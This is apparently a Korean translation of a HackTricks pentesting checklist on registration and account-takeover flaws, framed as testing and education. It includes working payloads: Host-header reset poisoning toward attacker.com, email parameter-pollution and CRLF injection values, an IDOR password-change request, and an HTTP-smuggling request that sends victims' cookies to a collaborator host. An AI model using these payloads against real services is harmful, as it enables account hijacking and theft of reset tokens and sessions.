9.9 KiB
등록 및 탈취 취약점
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm를 팔로우하세요.
- HackTricks와 HackTricks Cloud github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요.
등록 탈취
중복 등록
- 기존 사용자 이름을 사용하여 생성을 시도하세요.
- 이메일을 다양하게 확인하세요:
- 대문자
- +1@
- 이메일에 점을 추가하세요.
- 이메일 이름에 특수 문자 (%00, %09, %20)를 추가하세요.
- 이메일 뒤에 검은 문자를 넣으세요:
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
사용자 이름 열거
응용 프로그램 내에서 이미 사용자 이름이 등록되었는지 확인하세요.
비밀번호 정책
사용자를 생성할 때 비밀번호 정책을 확인하세요 (약한 비밀번호를 사용할 수 있는지 확인하세요).
이 경우 자격 증명을 브루트 포스할 수 있습니다.
SQL 인젝션
이 페이지를 확인하여 등록 양식에서 SQL 인젝션을 사용하여 계정 탈취 또는 정보 추출을 시도하는 방법을 알아보세요.
Oauth 탈취
{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}
SAML 취약점
{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}
이메일 변경
등록한 후 이메일을 변경하고 이 변경이 올바르게 검증되는지 또는 임의의 이메일로 변경할 수 있는지 확인하세요.
추가 확인 사항
- 일회용 이메일을 사용할 수 있는지 확인하세요.
- 긴 비밀번호 (>200)는 DoS로 이어집니다.
- 계정 생성에 대한 속도 제한을 확인하세요.
- username@burp_collab.net을 사용하고 callback을 분석하세요.
비밀번호 재설정 탈취
Referrer를 통한 비밀번호 재설정 토큰 누출
- 이메일 주소로 비밀번호 재설정을 요청하세요.
- 비밀번호 재설정 링크를 클릭하세요.
- 비밀번호를 변경하지 마세요.
- 제3자 웹사이트(예: Facebook, Twitter)를 클릭하세요.
- Burp Suite 프록시에서 요청을 가로채세요.
- referer 헤더가 비밀번호 재설정 토큰을 누출하는지 확인하세요.
비밀번호 재설정 독살
- Burp Suite에서 비밀번호 재설정 요청을 가로채세요.
- 다음 헤더를 Burp Suite에 추가하거나 편집하세요:
Host: attacker.com
,X-Forwarded-Host: attacker.com
- 수정된 헤더로 요청을 전달하세요.
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- _host 헤더_를 기반으로 비밀번호 재설정 URL을 찾으세요. 예:
https://attacker.com/reset-password.php?token=TOKEN
이메일 매개변수를 통한 비밀번호 재설정
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
API 매개변수에서의 IDOR
- 공격자는 자신의 계정으로 로그인하고 비밀번호 변경 기능으로 이동해야 합니다.
- Burp Suite를 시작하고 요청을 가로채기(intercept) 모드로 설정합니다.
- 요청을 repeater 탭으로 보내고 매개변수를 편집합니다: 사용자 ID/이메일
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
약한 비밀번호 재설정 토큰
비밀번호 재설정 토큰은 매번 무작위로 생성되고 고유해야 합니다.
토큰이 만료되는지 또는 항상 동일한지 확인하려고 시도하십시오. 경우에 따라 생성 알고리즘이 약하고 추측할 수 있습니다. 다음 변수들이 알고리즘에 사용될 수 있습니다.
- 타임스탬프
- 사용자 ID
- 사용자 이메일
- 이름과 성
- 생년월일
- 암호화
- 숫자만
- 작은 토큰 시퀀스 (문자 [A-Z,a-z,0-9] 사이)
- 토큰 재사용
- 토큰 만료 날짜
비밀번호 재설정 토큰 노출
- 특정 이메일(e.g: test@mail.com)을 사용하여 API/UI를 통해 비밀번호 재설정 요청을 트리거합니다.
- 서버 응답을 검사하고
resetToken
을 확인합니다. - 그런 다음 다음과 같은 URL에서 토큰을 사용합니다:
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
사용자명 충돌을 통한 비밀번호 재설정
- 희생자의 사용자명과 동일한 사용자명을 가진 사용자로 시스템에 등록하되 사용자명 앞 또는 뒤에 공백을 삽입합니다. 예:
"admin "
- 악의적인 사용자명으로 비밀번호 재설정을 요청합니다.
- 이메일로 전송된 토큰을 사용하여 희생자의 비밀번호를 재설정합니다.
- 새로운 비밀번호로 희생자 계정에 로그인합니다.
CTFd 플랫폼은 이러한 공격에 취약했습니다.
참조: CVE-2020-7245
크로스 사이트 스크립팅을 통한 계정 탈취
- 애플리케이션 또는 하위 도메인에서 XSS를 찾습니다. 쿠키가 상위 도메인에 대해 범위(scope)로 설정되어 있는 경우:
*.domain.com
- 현재 세션 쿠키를 노출시킵니다.
- 쿠키를 사용하여 사용자로 인증합니다.
HTTP 요청 스머글링을 통한 계정 탈취
1. smuggler를 사용하여 HTTP 요청 스머글링 유형을 감지합니다 (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. 다음 데이터로 POST / HTTP/1.1
를 덮어쓸 요청을 작성합니다:
GET http://something.burpcollaborator.net HTTP/1.1 X:
희생자를 burpcollab로 리디렉션하여 쿠키를 도용합니다.
3. 최종 요청은 다음과 같을 수 있습니다.
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
해커원 보고서에서 이 버그를 악용했습니다.
CSRF를 통한 계정 탈취
- CSRF를 위한 페이로드 생성, 예: "비밀번호 변경을 위한 자동 제출 HTML 폼"
- 페이로드 전송
JWT를 통한 계정 탈취
JSON Web Token은 사용자 인증에 사용될 수 있습니다.
- 다른 사용자 ID/이메일로 JWT 편집
- 약한 JWT 서명 확인
{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}
참고 자료
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm를 팔로우하세요.
- HackTricks와 HackTricks Cloud 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.